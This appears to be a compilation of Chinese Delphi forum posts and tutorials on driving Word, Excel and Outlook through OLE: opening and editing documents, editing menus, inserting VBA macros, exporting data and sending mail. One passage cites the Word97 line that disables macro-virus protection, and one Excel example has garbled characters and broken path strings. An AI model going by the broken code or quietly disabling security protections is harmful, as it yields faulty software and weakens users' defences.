让word打开一个指定的文件，需要先放置opendialog，然后调用wordapplication.documents.open：

var

itemindex :olevariant;

filename, confirmconversions, readonly, addtorecentfiles,

passworddocument, passwordtemplate, revert,

writepassworddocument, writepasswordtemplate, format: olevariant;

begin

if not dlgopen.execute then

exit;

{open document}

filename := dlgopen.filename;

confirmconversions := false;

readonly := false;

addtorecentfiles := false;

passworddocument := '';

passwordtemplate := '';

revert := true;

writepassworddocument := '';

writepasswordtemplate := '';

format := wdopenformatdocument;

wordapplication.documents.open( filename, confirmconversions,

readonly, addtorecentfiles, passworddocument, passwordtemplate,

revert, writepassworddocument, writepasswordtemplate, format );

{assign worddocument component}

itemindex := 1;

worddocument.connectto(wordapplication.documents.item(itemindex));

{turn spell checking of because it takes a long time if enabled and slows down winword}

wordapplication.options.checkspellingasyoutype := false;

wordapplication.options.checkgrammarasyoutype := false;

end;

让word替换标记字符串要使用worddocument.range.find.execute，这里用delphi替换了<#name>：

var

findtext, matchcase, matchwholeword, matchwildcards, matchsoundslike,

matchallwordforms, forward, wrap, format, replacewith, replace: olevariant;

begin

findtext := '<#name>';

matchcase := false;

matchwholeword := true;

matchwildcards := false;

matchsoundslike := false;

matchallwordforms := false;

forward := true;

wrap := wdfindcontinue;

format := false;

replacewith := 'delphi';

replace := true;

worddocument.range.find.execute( findtext, matchcase, matchwholeword,

matchwildcards, matchsoundslike, matchallwordforms, forward,

wrap, format, replacewith, replace );

end;

上面这4段代码完成了公文管理的基本功能，再把它和数据库结合起来，就可以开发一个与lotus notes类似的产品了。


控制Word的菜单

请问：怎样用wordapplication增、删、改WORD菜单？需要示范代码，谢谢！

来自：menxin, 时间：2001-11-1 12:37:00, ID：700137

呵呵，真加这么多呀，好，我给你写一个吧

uses Office2000;

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

begin

WordApplication1.Connect;

WordApplication1.Visible:=true;

end;

procedure TForm1.Button2Click(Sender: TObject);

var i:Integer;

begin

if WordApplication1.CommandBars.ActiveMenuBar.Enabled then begin

with WordApplication1.CommandBars.ActiveMenuBar do begin

{ ListBox1.Clear;

for i:=1 to Controls.Count do

ListBox1.Items.Add(Controls[i].Caption);}//你可以把现有的菜单信息放在这个LISTBOX里看一下

Controls[5].Set_Visible(false); //删除菜单,实际是隐藏

Controls[Controls.Count].Set_Caption('我的帮助'); //改菜单项

with Controls.Add(msoControlpopup,EmptyParam,EmptyParam,EmptyParam,true) do begin //增加菜单

Set_Caption('新菜单项');

end;

end;

end;

end;

给分吧![:D]

来自：tzahz, 时间：2001-11-1 15:08:00, ID：700421

兄弟：

谢谢，你已经得到了一百分，如果你告诉我如何在‘新菜单项下面’加上子菜单，60分

将事件处理与新的子菜单项联系起来，100分。

我实在找不到这方面的帮助，有的也是十分简单，许多用法都没有，如果你告诉我如何去取得

OFFICE开发的DELPHI的帮助，100~300送上。我还有700分。

谢谢！！！

来自：yexiaofeng, 时间：2001-11-1 23:32:00, ID：701479

我告訴你delphi中的server控件頁上的幫助哪裡找的到。

server頁上的控件實際上是office提供的ocx控件，delphi隻是把它們封裝(抱歉，不知道該不

該叫封裝)後放入server控件頁中。

所以，它們的完整幫助隻有microsoft有，在msdn中可以找的到,vb的幫助也有。隻許做很少

的改動就可以把MS的代碼直接拿來使用

来自：menxin, 时间：2001-11-2 2:42:00, ID：701577

加事件什么的得改成这样，因为要用到一些接口。

procedure TForm1.Button2Click(Sender: TObject);

var i:Integer;

b:CommandBarPopup;

c:CommandBarButton;

begin

if WordApplication1.CommandBars.ActiveMenuBar.Enabled then begin

with WordApplication1.CommandBars.ActiveMenuBar do begin

ListBox1.Clear;

for i:=1 to Controls.Count do

ListBox1.Items.Add(Controls[i].Caption);

Controls[5].Set_Visible(false);

Controls[Controls.Count].Set_Caption('我的帮助');

b:=Controls.Add(msoControlpopup,EmptyParam,EmptyParam,EmptyParam,true) as commandbarpopup; //创建menuitem

with b do begin

Set_Caption('a项');

c:=Controls.Add(msoControlButton,EmptyParam,EmptyParam,EmptyParam,true) as CommandBarButton;

c.Set_Caption('我的第一个菜单项');

c.Set_OnAction('MBClick2'); //将一个宏赋值给这个ITEM

end;

end;

end;

end;

来自：menxin, 时间：2001-11-3 23:06:00, ID：704988

下面给出加入宏的代码：

var

vc:_VBComponents;

begin

vc:=WordApplication1.VBE.ActiveVBProject.VBComponents;

with vc.Item(2).CodeModule do begin

InsertLines(1,'Sub MyMacro');

InsertLines(2,'msgbox "this is a test"');

InsertLines(3,'End Sub ');

end;

end;

权限问题就得你自己考虑了，我想宏和其他的代码应该有同样的权限吧

为编这些宏，你得用些VB了，嘿嘿，我是不会了，只能给个MSGBOX了。哈哈~~~

我又想了一下，由于WORD提示是宏没找到，我想应该是一定要用宏的。

过程的方法可以继续试一下。


WordApplication和WordDocuments的关联

Delphid的WordApplication控件和WordDocument两个控件之间如何关联起来？

答案：WordDocument.ConnectTo(WordApplication.ActiveDocument);

关键在于WordDocument.ConnectTo方法。


OLE控制Excel时对话框打扰的问题

用OLE控制Excel的时候，总是有对话框弹出来干扰程序的运行，如果用户选择了取消，那么就会惨不忍睹。那么如何解决这个问题呢？

原来Excel提供了“默认”功能！Excel的Application对象有DisplayAlerts属性，可以设置他为True或者False。类似的还有Interactive和ScreenUpdating 属性。自己查看Excel的Macro帮助即可。


导出DBGrid到Word

导出DBGrid为Word表格。

procedure TForm1.Button1Click(Sender: TObject);

var

WordApp,WordDoc,WordTable:OleVariant;

i,j:integer;

begin

WordApp:=CreateOleObject('Word.Application');

WordApp.Visible:=True;

WordDoc:=WordApp.Documents.Add;

WordTable:=WordDoc.Tables.Add(WordApp.Selection.Range,DBGrid1.DataSource.DataSet.RecordCount+1,DBGrid1.Columns.Count);

for i:=1 to DBGrid1.Columns.Count do

WordTable.Cell(1,i).Range.InsertAfter(DBGrid1.Columns[i-1].Title.Caption);

i:=2;

with DBGrid1.DataSource.DataSet do

while not eof do

begin

for j:=1 to DBGrid1.Columns.Count do

WordTable.Cell(i,j).Range.InsertAfter(DBGrid1.Columns[j-1].Field.Value);

Next;

Inc(i);

end;

end;


一个写法问题

一个写法问题

我们知道，在Delphi控制Word中，经常有Documents等对象或者属性集合，例如：我们要控制第一个文档的第一个表格的第i,j个单元格，有Word的宏如下：

Application.Documents(1).Tables(1).Cells(i,j)....

或者：

Application.Documents('Doc1').Tables(1).Cells(i,j)....

转换成Delphi，我这样写行不通：WordApp.Documents[1].Tables[1].Cells[i,j]......

Documents[1]会提示Item不是一种属性，而写成Documents(1)由告诉你Documents不是一种方法！那么那么在Delphi中如何用OLE控制呢？写法如下：

WordApp:=CreateOleObject('Word.Application');

WordApp.Documents.Item(1).Tables.Item(1).Cells(i,j).......

你也可以利用文档名来做到：

WordApp.Documents.Item('Doc1.Doc').Tables.Item(1).Cell(i,j)....

另外，我们知道VBA中有如下的写法：

WorkSheets("Sheet1").Name="Test"

那么翻译成Delphi应该写成如下：WorkSheets['Sheet1'].Name :='Test';

总而言之，有下面两种写法：

Sheet.Cells.Range('C2') := 'KK';

Sheet.Cells.Range['C2'] := 'KK';

如果一种写法不行，就换另外一种即可，如果还不行，就加.Item。


如何取消Word2000中的宏病毒提示

如何取消Word2000中的宏病毒提示

Word采用了宏作为其字处理系统的补充，是用户能够自己编写一部分代码来实现自己特定

的功能，大大方便了其他系统和Word之间的连接，但是同时也带来了负面的问题，人们可

以编写一些恶意的代码，危害系统的安全，从台湾No.1病毒开始到现在的美丽沙病毒，无

一不对系统造成一定危害。

为了避免这个缺点，微软提供了防病毒防护的功能，在Word97的《工具》->《选项》->《常规》

中有宏病毒防护的选项，在Word2000提供了高、中、低三种宏病毒安全级别。在Word97中

可以使用Options.VirusProtection = False来取消宏病毒防护，这样就给宏病毒提供了

机会，只要你运行过一个宏病毒，它就自动将宏病毒防护关闭，因此防护宏病毒的能力

不是太强。

在Word2000中，微软提供了宏认证的解决方案，根据证书认证机制来实现，如果宏不含有数字

签名整数，那么如果安全级别设置为高，则直接禁用宏，如果安全级别是中，则提示用户是否

启用宏，如果安全级别是无，则任何宏都能够能够运行了。

如果宏提供了认证证书，则Word将检查认证证书，判断其有效性，并提示用户是否接受该证书，

如果用户接受了该证书，则以后就不再显示使用该证书签名的宏警告。

现在问题出来了，我们自己编写的宏，如何进行认证呢？怎么进行认证呢？

通常人们会去找宏病毒安全性里面，但是在它的可靠来源列表中就是不能添加，只能删除，那么

从那里添加呢？

其实，Word提供了添加的途径，就是在Word的Visual Basic编辑器里面《工具》->《数字签名》，

选择相应证书即可.但是问题又有了,如何能够添加证书呢,通常我们打开的时候发觉可选择证书

空空的。

有两种途径可以解决这个问题,一是向证书颁发机构申请数字签名，申请的时候选择用途为代码的

数字签名就可以了，然后安装上申请下来的Cer文件直接安装就可以了，但是在打开含有此数字签

名的宏的时候，计算机必须和证书办法机构联网，否则会提示证书无效.

另一种途径是自己创建证书，Word2000提供了一个自己进行数字签名的工具:SelfCert.exe，路径

为《Office安装路径》.EXE，运行此文件，输入名字即可产生。

至此我们可以生成证书了，也就可以进行数字签名了。


Word宏和Delphi

Word宏和Delphi

来自：yzhshi, 时间：2002-2-2 14:24:00, ID：902680

前面我就Delphi中调用Word写了一些，比较注重于具体实现，对于研究的方法则说的比较片面。

今天晚上，我静下心来，总结了一下怎样在Delphi中生成操作Word的代码。如果说前面我写的

是金子，那么下面这篇文章就是点石成金的手指(太自夸了，呵呵)。毕竟已经有半年多没有研

究这些了，只能零碎的写一些心得了。

使用CreateOleObject方式调用Word相比Service控件的最大缺点就是不支持代码的自动生成，

但是我们充分的利用VBA代码就可以弥补这个功能。

Word作为一个功能强大的Com，可以很容易被编程工具调用，成为办公自动化系统中处理文档

的强有力的嵌套工具，尤其是充分Word本身的录制宏的功能，更进一步减轻了编程的负担。

下面就如何在Delphi里面利用Word的VBA代码进行一些总结。

1、 生成VBA代码。Word本身具有很强的可扩展性，尤其是支持用户自定义功能，其实现

的主要方式就是通过VBA代码来实现的。在“工具->宏->Visual Basic编辑器”里面就可以看

到具体的宏代码，可以直接进行编辑。而且还可以使用录制宏的功能自动生成宏代码。方法是

选择“工具->宏->录制新宏”，然后执行自己想通过程序实现的功能，如存盘、打印等功能，

此时Word一边执行你要实现功能，一边将你的操作生成了一个宏，在实现功能后，可以选择

“工具->宏->VisualBasic编辑器”，查看生成的宏代码。

例如：我们要将文档中的“讨论”全部替换成“研讨”。

a． 点击“工具->宏->录制新宏”，直接点击确定，默认的宏保存到了Normal.dot系统公

用模板里面。

b． 点击“编辑->查找”，出现弹出对话框，输入查找和替换的字，点确定。进行替换。

c． 结束宏的录制，点击结束按钮。

d． 按F11或者“工具->宏->Visual Basic 编辑器”，查看宏代码。缺省查看Normal里面

的模块里面的NewMacros模块。

以下是生成的宏代码：

Sub Macro1()

'

' Macro1 Macro

' 宏在 2002-2-1 由 yzhshi 录制

'

Selection.Find.ClearFormatting

Selection.Find.Replacement.ClearFormatting

With Selection.Find

.Text = "讨论"

.Replacement.Text = "研讨"

.Forward = True

.Wrap = wdFindContinue

.Format = False

.MatchCase = False

.MatchWholeWord = False

.MatchByte = True

.MatchWildcards = False

.MatchSoundsLike = False

.MatchAllWordForms = False

End With

Selection.Find.Execute Replace:=wdReplaceAll

End Sub

2、 精简宏代码。通常，生成的宏代码有很多语句对你要实现的功能来说都是多余的。我们要

做的就是如何找到我们需要的代码。此时我们查看具体的代码，剔除明显没有用途的代码，然后光

标停留在宏上面，按F5执行，看是否实现功能，逐步精简，得到最小代码。此步骤可参考Word的

VBA帮助来判断代码是否有用。

如上例，精简下来，剩下以下代码。

Sub Macro1()

Selection.Find.ClearFormatting

Selection.Find.Replacement.ClearFormatting

With Selection.Find

.Text = "讨论"

.Replacement.Text = "研讨"

End With

Selection.Find.Execute Replace:=wdReplaceAll

End Sub

3、 转换成Delphi代码。这一步其实很简单，对于VBA代码，只需要在前面添加Word的句柄或者

文档的句柄或者文档的句柄.Application就可以直接操作了。

例：逐句翻译：（Word_Handle是Word的句柄）

（VB） Selection.Find.ClearFormatting

（Delphi） Word_Handle.Selection.Find.ClearFormatting;

（VB） Selection.Find.Replacement.ClearFormatting

（Delphi） Word_Handle.Selection.Find.Replacement.ClearFormatting;

以上两句简单添加上Word的句柄就可以了。

（VB） With Selection.Find

Text = "讨论"

Replacement.Text = "研讨"

End With

（Delphi） Word_Handle.Selection.Find.Text := '讨论';

Word_Handle.Selection.Find.Replacement.Text := '研讨';

以上几句因为Delphi不支持Variant的With结构，所以分开写。同时转换成Delphi语法。

（VB） Selection.Find.Execute Replace:=wdReplaceAll

（Delphi） Word_Handle.Selection.Find.Execute(Replace:=2);

上面一句存在一个小技巧，如何找到常量wdReplaceAll的数值为2？

这里有几个办法，

一：直接use Word2000或者word97单元，那么直接使用常量wdReplaceAll就可以了；

二：到Word2000.pas或者Word97.pas里面查找wdReplaceAll的数值；

三：直接使用VBA代码见wdReplaceAll的数值显示出来。办法是写一个小过程，然后执行，如下：

Sub ShowValue()

MsgBox wdReplaceAll

End Sub

最后补充一下，很多关于Word的东西可以从Word的VBA帮助里面获得。具体文件在

?:filesOffice2052(XP)下，VBAWD10.CHM，其他版本路径基本类似。


不利用OLE如何生成XLS文件

下面的例子是不利用OLE控制Excel把StringGrid导出导XLS文件中。

{2. Without OLE }

procedure XlsWriteCellLabel(XlsStream: TStream; const ACol, ARow: Word;

const AValue: string);

var

L: Word;

const

{$J+}

CXlsLabel: array[0..5] of Word = ($204, 0, 0, 0, 0, 0);

{$J-}

begin

L := Length(AValue);

CXlsLabel[1] := 8 + L;

CXlsLabel[2] := ARow;

CXlsLabel[3] := ACol;

CXlsLabel[5] := L;

XlsStream.WriteBuffer(CXlsLabel, SizeOf(CXlsLabel));

XlsStream.WriteBuffer(Pointer(AValue)^, L);

end;

function SaveAsExcelFile(AGrid: TStringGrid; AFileName: string): Boolean;

const

{$J+} CXlsBof: array[0..5] of Word = ($809, 8, 00, $10, 0, 0); {$J-}

CXlsEof: array[0..1] of Word = ($0A, 00);

var

FStream: TFileStream;

I, J: Integer;

begin

Result := False;

FStream := TFileStream.Create(PChar(AFileName), fmCreate or fmOpenWrite);

try

CXlsBof[4] := 0;

FStream.WriteBuffer(CXlsBof, SizeOf(CXlsBof));

for i := 0 to AGrid.ColCount - 1 do

for j := 0 to AGrid.RowCount - 1 do

XlsWriteCellLabel(FStream, I, J, AGrid.cells[i, j]);

FStream.WriteBuffer(CXlsEof, SizeOf(CXlsEof));

Result := True;

finally

FStream.Free;

end;

end;

// Example:

procedure TForm1.Button2Click(Sender: TObject);

begin

if SaveAsExcelFile(StringGrid1, 'c:.xls') then

ShowMessage('StringGrid saved!');

end;

**********************************************************

const

CXlsBof: array[0..5] of Word = ($809, 8, 00, $10, 0, 0);

CXlsEof: array[0..1] of Word = ($0A, 00);

CXlsLabel: array[0..5] of Word = ($204, 0, 0, 0, 0, 0);

CXlsNumber: array[0..4] of Word = ($203, 14, 0, 0, 0);

CXlsRk: array[0..4] of Word = ($27E, 10, 0, 0, 0);

procedure XlsBeginStream(XlsStream: TStream; const BuildNumber: Word);

begin

CXlsBof[4] := BuildNumber;

XlsStream.WriteBuffer(CXlsBof, SizeOf(CXlsBof));

end;

procedure XlsEndStream(XlsStream: TStream);

begin

XlsStream.WriteBuffer(CXlsEof, SizeOf(CXlsEof));

end;

procedure XlsWriteCellRk(XlsStream: TStream; const ACol, ARow: Word;

const AValue: Integer);

var

V: Integer;

begin

CXlsRk[2] := ARow;

CXlsRk[3] := ACol;

XlsStream.WriteBuffer(CXlsRk, SizeOf(CXlsRk));

V := (AValue shl 2) or 2;

XlsStream.WriteBuffer(V, 4);

end;

procedure XlsWriteCellNumber(XlsStream: TStream; const ACol, ARow: Word;

const AValue: Double);

begin

CXlsNumber[2] := ARow;

CXlsNumber[3] := ACol;

XlsStream.WriteBuffer(CXlsNumber, SizeOf(CXlsNumber));

XlsStream.WriteBuffer(AValue, 8);

end;

procedure XlsWriteCellLabel(XlsStream: TStream; const ACol, ARow: Word;

const AValue: string);

var

L: Word;

begin

L := Length(AValue);

CXlsLabel[1] := 8 + L;

CXlsLabel[2] := ARow;

CXlsLabel[3] := ACol;

CXlsLabel[5] := L;

XlsStream.WriteBuffer(CXlsLabel, SizeOf(CXlsLabel));

XlsStream.WriteBuffer(Pointer(AValue)^, L);

end;

procedure TForm1.Button1Click(Sender: TObject);

var

FStream: TFileStream;

I, J: Integer;

begin

FStream := TFileStream.Create('c:.xls', fmCreate);

try

XlsBeginStream(FStream, 0);

for I := 0 to 99 do

for J := 0 to 99 do

begin

XlsWriteCellNumber(FStream, I, J, 34.34);

// XlsWriteCellRk(FStream, I, J, 3434);

// XlsWriteCellLabel(FStream, I, J, Format('Cell: %d,%d', [I, J]));

end;

XlsEndStream(FStream);

finally

FStream.Free;

end;

end;


一个操作Excel的例程

可以自己看看效果：

procedure TForm1.updatexls;

var

xlapp, sheet : variant;

row, i : integer;

filename, fh : string;

begin

try

xlapp := createoleobject('excel.application');

except

showmessage('not found excel in your system, so can not create file!');

exit;

end;

xlapp.visible := true;

xlApp.ScreenUpdating := False;

try

for i := 0 to 10 do

begin

fh := '';

filename := 'E: + Inttostr(i) + '.xls';

xlapp.workbooks.add;

// xlapp.workbooks[1].saveas(newfilename);

sheet := xlapp.workbooks[1].worksheets[1];

sheet.pagesetup.LeftMargin := xlapp.InchesToPoints(0);

sheet.pagesetup.rightMargin := xlapp.InchesToPoints(0);

sheet.pagesetup.topMargin := xlapp.InchesToPoints(0);

sheet.pagesetup.bottomMargin := xlapp.InchesToPoints(0);

sheet.pagesetup.headerMargin := xlapp.InchesToPoints(0);

sheet.pagesetup.footerMargin := xlapp.InchesToPoints(0);

fh := VarAsType(sheet.cells[1, 6], varstring);

xlapp.Range[sheet.cells[1, 1], sheet.cells[9, 82]].MergeCells := False; //?? 3y o? 2￠

xlapp.Range[sheet.cells[3, 1], sheet.cells[3, 1]].entirerow.insert;

xlapp.Range[sheet.cells[3, 1], sheet.cells[3, 1]].entirerow.insert;

xlapp.Range[sheet.cells[3, 1], sheet.cells[3, 1]].entirerow.insert;

xlapp.Range[sheet.cells[3, 1], sheet.cells[3, 1]].entirerow.insert;

xlapp.Range[sheet.cells[1, 1], sheet.cells[13, 82]].select;

xlapp.selection.ShrinkToFit := False; //×? ?ˉ ì? 3?

xlapp.selection.AddIndent := False; //?? ?ó ?? ??

xlapp.selection.WrapText := False; //×? ?ˉ ?? DD

xlapp.selection.ClearContents; //?? 3y ?ú èY

xlapp.selection.borders[5].LineStyle := xlnone;

xlapp.selection.borders[6].LineStyle := xlnone;

xlapp.selection.Orientation := 0;

xlapp.selection.font.name := '?? ì? ';

xlapp.selection.font.size := '10';

xlapp.selection.HorizontalAlignment := xlgeneral;

xlapp.selection.NumberFormatLocal := 'G/í¨ ó? ?? ê? ';

sheet.cells[1, 1] := '?? o? :';

xlapp.range[sheet.cells[1, 1], sheet.cells[1, 1]].font.Name := '?? ì? _GB2312';

xlapp.range[sheet.cells[1, 1], sheet.cells[1, 1]].font.size := 18;

xlapp.range[sheet.cells[1, 1], sheet.cells[1, 1]].font.Bold := true;

xlapp.Range[sheet.cells[1, 1], sheet.cells[1, 5]].MergeCells := true;

sheet.cells[1, 6] := fh;

xlapp.range[sheet.cells[1, 6], sheet.cells[1, 6]].font.Name := 'Times New Roman';

xlapp.range[sheet.cells[1, 6], sheet.cells[1, 6]].font.size := 18;

xlapp.Range[sheet.cells[1, 6], sheet.cells[1, 30]].MergeCells := true;

sheet.cells[3, 1] := '?- ?? ';

xlapp.Range[sheet.cells[3, 1], sheet.cells[3, 31]].select;

xlapp.Range[sheet.cells[3, 1], sheet.cells[10, 5]].select;

xlapp.selection.MergeCells := true;

xlapp.selection.HorizontalAlignment := xlcenter;

xlapp.selection.VerticalAlignment := xlcenter;

xlapp.selection.Orientation := xlVertical;

for row := 3 to 10 do //?- ?? ?- á?

begin

xlapp.Range[sheet.cells[row, 6], sheet.cells[row, 7]].select;

xlapp.selection.MergeCells := true;

xlapp.selection.HorizontalAlignment := xlgeneral;

xlapp.selection.VerticalAlignment := xlcenter;

xlapp.Range[sheet.cells[row, 8], sheet.cells[row, 25]].select;

xlapp.selection.MergeCells := true;

xlapp.selection.HorizontalAlignment := xlgeneral;

xlapp.selection.VerticalAlignment := xlcenter;

xlapp.Range[sheet.cells[row, 26], sheet.cells[row, 30]].select;

xlapp.selection.MergeCells := true;

xlapp.selection.HorizontalAlignment := xlcenter;

xlapp.selection.VerticalAlignment := xlcenter;

end;

sheet.cells[3, 31] := '?ú à- ?a ?è :';

for row := 1 to 3 do

begin

xlapp.Range[sheet.cells[row * 2 + 1, 31], sheet.cells[row * 2 + 2, 35]].select;

xlapp.selection.MergeCells := true;

xlapp.selection.HorizontalAlignment := xlcenter;

xlapp.selection.VerticalAlignment := xlcenter;

xlapp.Range[sheet.cells[row * 2 + 1, 36], sheet.cells[row * 2 + 2, 43]].select;

xlapp.selection.MergeCells := true;

xlapp.selection.HorizontalAlignment := xlcenter;

xlapp.selection.VerticalAlignment := xlcenter;

end;

for row := 12 to 13 do

begin

xlapp.Range[sheet.cells[row, 73], sheet.cells[row, 82]].select;

xlapp.selection.MergeCells := true;

xlapp.selection.HorizontalAlignment := xlcenter;

xlapp.selection.VerticalAlignment := xlcenter;

end;

row := 11;

xlapp.Range[sheet.cells[row, 31], sheet.cells[row + 2, 66]].select;

xlapp.selection.MergeCells := true;

xlapp.selection.HorizontalAlignment := xlgeneral;

xlapp.selection.VerticalAlignment := xltop;

sheet.rows.item['1'].RowHeight := 22;

xlapp.Range[sheet.cells[2, 1], sheet.cells[13, 82]].select;

xlapp.selection.borders[7].LineStyle := 1;

xlapp.range[sheet.cells[16, 1], sheet.cells[16, 1]].select;

xlapp.displayalerts := false;

sheet.saveas(FileName);

xlapp.workbooks[1].close;

VarClear(Sheet);

end;

xlapp.quit;

Application.ProcessMessages;

finally

xlapp.ScreenUpdating := True;

end;

end;


Access发送电子邮件

This will send To, CC and BC as well as Subject, Message, and Attachment

You need 6 text boxes or variables which match the following:

txtMainAddresses

txtCC

txtBCC

txtSubject

txtBody

txtAttachment

Put this in your Module

------------------------------

Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

------------------------------

put this in a command button

------------------------------

Private Sub Command0_Click()

On Error GoTo Err_Command0_Click

Dim stext As String

Dim sAddedtext As String

If Len(txtMainAddresses) Then

stext = txtMainAddresses

End If

If Len(txtCC) Then

sAddedtext = sAddedtext & "&CC=" & txtCC

End If

If Len(txtBCC) Then

sAddedtext = sAddedtext & "&BCC=" & txtBCC

End If

If Len(txtSubject) Then

sAddedtext = sAddedtext & "&Subject=" & txtSubject

End If

If Len(txtBody) Then

sAddedtext = sAddedtext & "&Body=" & txtBody

End If

If Len(txtAttachment) Then

sAddedtext = sAddedtext & "Attach=" & Chr$(34) & Me!txtAttachment & Chr$(34)

End If

stext = "mailto:" & stext

If Len(sAddedtext) <> 0 Then

Mid$(sAddedtext, 1, 1) = "?"

End If

stext = stext & sAddedtext

' launch default e-mail program

If Len(stext) Then

Call ShellExecute(Me.hwnd, "open", stext, vbNullString, vbNullString, SW_SHOWNORMAL)

End If

Exit_Command0_Click:

Exit Sub

Err_Command0_Click:

MsgBox Err.Description

Resume Exit_Command0_Click

End Sub

****************************

Sub SendMessage(DisplayMsg As Boolean, Optional AttachmentPath)

Dim objOutlook As Outlook.Application

Dim objOutlookMsg As Outlook.MailItem

Dim objOutlookRecip As Outlook.Recipient

Dim objOutlookAttach As Outlook.Attachment

' Create the Outlook session.

Set objOutlook = CreateObject("Outlook.Application")

' Create the message.

Set objOutlookMsg = objOutlook.CreateItem(olMailItem)

With objOutlookMsg

' Add the To recipient(s) to the message.

Set objOutlookRecip = .Recipients.Add("Nancy Davolio")

objOutlookRecip.Type = olTo

' Add the CC recipient(s) to the message.

Set objOutlookRecip = .Recipients.Add("Michael Suyama")

objOutlookRecip.Type = olCC

' Add the BCC recipient(s) to the message.

Set objOutlookRecip = .Recipients.Add("Andrew Fuller")

objOutlookRecip.Type = olBCC

' Set the Subject, Body, and Importance of the message.

.Subject = "This is an Automation test with Microsoft Outlook"

.Body = "This is the body of the message." &vbCrLf & vbCrLf

.Importance = olImportanceHigh 'High importance

' Add attachments to the message.

If Not IsMissing(AttachmentPath) Then

Set objOutlookAttach = .Attachments.Add(AttachmentPath)

End If

' Resolve each Recipient's name.

For Each ObjOutlookRecip In .Recipients

objOutlookRecip.Resolve

Next

' Should we display the message before sending?

If DisplayMsg Then

.Display

Else

.Save

.Send

End If

End With

Set objOutlook = Nothing

End Sub


OLE和Office的事件关联

用TWordApplication的方式，有事件支持，但是，我用OLE的时候，如何也能支持事件呢？

请看下面的代码：

uses Word_TLB, activex, comobj, ConnectionObject

// ConnectionObject is the unit containing TWordConnection

// Follow link at the bottom of the page for TWordConnection sample code

procedure StartWordConnection(WordApp: _Application;

WordDoc: _Document;

var WordSink: TWordConnection);

var

PointContainer: IConnectionPointContainer;

Point: IConnectionPoint;

begin

try

// TWordConnection is the COM object which receives the

// notifications from Word. Make sure to free WordSink when

// you are done with it.

WordSink := TWordConnection.Create;

WordSink.WordApp := WordApp;

WordSink.WordDoc := WordDoc;

// Sink with a Word application

OleCheck(WordApp.QueryInterface(IConnectionPointContainer, PointContainer));

if Assigned(PointContainer) then begin

OleCheck(PointContainer.FindConnectionPoint(ApplicationEvents, Point));

if Assigned(Point) then

Point.Advise((WordSink as IUnknown), WordSink.AppCookie);

end;

// Sink with a Word document

OleCheck(WordDoc.QueryInterface(IConnectionPointContainer, PointContainer));

if Assigned(PointContainer) then begin

OleCheck(PointContainer.FindConnectionPoint(DocumentEvents, Point));

if Assigned(Point) then

Point.Advise((WordSink as IUnknown), WordSink.DocCookie);

end;

except

on E: Exception do ShowMessage(E.Message);

end;

end;

//////////////////////////////

unit ConnectionObject;

interface

uses Word_TLB;

type

TWordConnection = class(TObject, IUnknown, IDispatch)

protected

{IUnknown}

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

{ IDispatch }

function GetIDsOfNames(const IID: TGUID; Names: Pointer;

NameCount, LocaleID: Integer; DispIDs: Pointer): HResult; stdcall;

function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; stdcall;

function GetTypeInfoCount(out Count: Integer): HResult; stdcall;

function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;

Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; stdcall;

public

WordApp: _Application;

WordDoc: _Document;

AppCookie, DocCookie: Integer;

end;

implementation

{ IUnknown Methods }

uses windows, activex, main;

procedure LogComment(comment: string);

begin

Form1.Memo1.Lines.Add(comment);

end;

function TWordConnection._AddRef: Integer;

begin

Result := 2;

end;

function TWordConnection._Release: Integer;

begin

Result := 1;

end;

function TWordConnection.QueryInterface(const IID: TGUID;

out Obj): HResult;

begin

Result := E_NOINTERFACE;

Pointer(Obj) := nil;

if (GetInterface (IID, Obj)) then Result := S_OK;

if not Succeeded (Result) then

if (IsEqualIID(IID, DocumentEvents) or IsEqualIID(IID, ApplicationEvents)) then

if (GetInterface(IDispatch, Obj)) then Result := S_OK;

end;

{ IDispatch Methods }

function TWordConnection.GetIDsOfNames(const IID: TGUID; Names: Pointer;

NameCount, LocaleID: Integer; DispIDs: Pointer): HResult;

begin

Result := E_NOTIMPL;

end;

function TWordConnection.GetTypeInfo(Index, LocaleID: Integer;

out TypeInfo): HResult;

begin

Pointer(TypeInfo) := nil;

Result := E_NOTIMPL;

end;

function TWordConnection.GetTypeInfoCount(out Count: Integer): HResult;

begin

Count := 0;

Result := E_NOTIMPL;

end;

function TWordConnection.Invoke(DispID: Integer; const IID: TGUID;

LocaleID: Integer; Flags: Word; var Params; VarResult, ExcepInfo,

ArgErr: Pointer): HResult;

begin

//This is the entry point for Word event sinking

Result := S_OK;

case DispID of

1: ; // Startup

2: ; // Quit

3: ; // Document change

4: ; // New document

5: ; // Open document

6: ; // Close document

else Result := E_INVALIDARG;

end;

end;

end.

使用方法，ConnectionObject是一个单独的单元，在其中的Invoke过程中的case DispID后面，你可以添加你的事件支持代码！如果需要全部的事件常量，请自己查看相关资料即可。

如果要OLE创建的东西支持事件，可以利用StartWordConnection函数来进行关联即可！

************************************

下面是Ex-Ex的解答，比较好的：

http://www.experts-exchange.com/Programming/Programming_Languages/Delphi/Q_10237322.html#1

Title: Word-close event with OLE and dp3.0

From: dr_gonzo

Date: 11/23/1999 04:16AM PST

Answer Grade: A Points: 60

Hi!

I have an app written in Delphi 3.0 that controles an instance of word via OLE. Word does not exactly behave the way one could expect in some cases.

I posted this to the Office group also, but since nowone of you reads those group I add it here too. I'm aware that this is a question that does not really commit to any area. This is the closest though.

I want my word document to tell me when the user has clicked the x-button(or control menu Close[Ctrl+F4].

If I make a template and writes an event handler for the Close-event it works so neat with a normal document, but my OLE-document never sends me any close-event it just kills the window...

How am I supposed to make word let my app know when it is closing rather than when it has closed. I want to be able to pop up some own dialogs before the actual close of the document...

by the way. It's the samething with the dirty-flag. It's always considered to be "False" if it's an OLE-document...

why the hell is that?

What can I do about it? How do I write my own Dirty-flag for a document?

Accepted Answer from vladika 11/24/1999 03:27AM PST

BTW when you close document you can process this event in the Delphi.

See example

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ComObj, ActiveX;

const

WordDocEventIID: TGUID = '{000209F6-0000-0000-C000-000000000046}';

type

TForm1 = class;

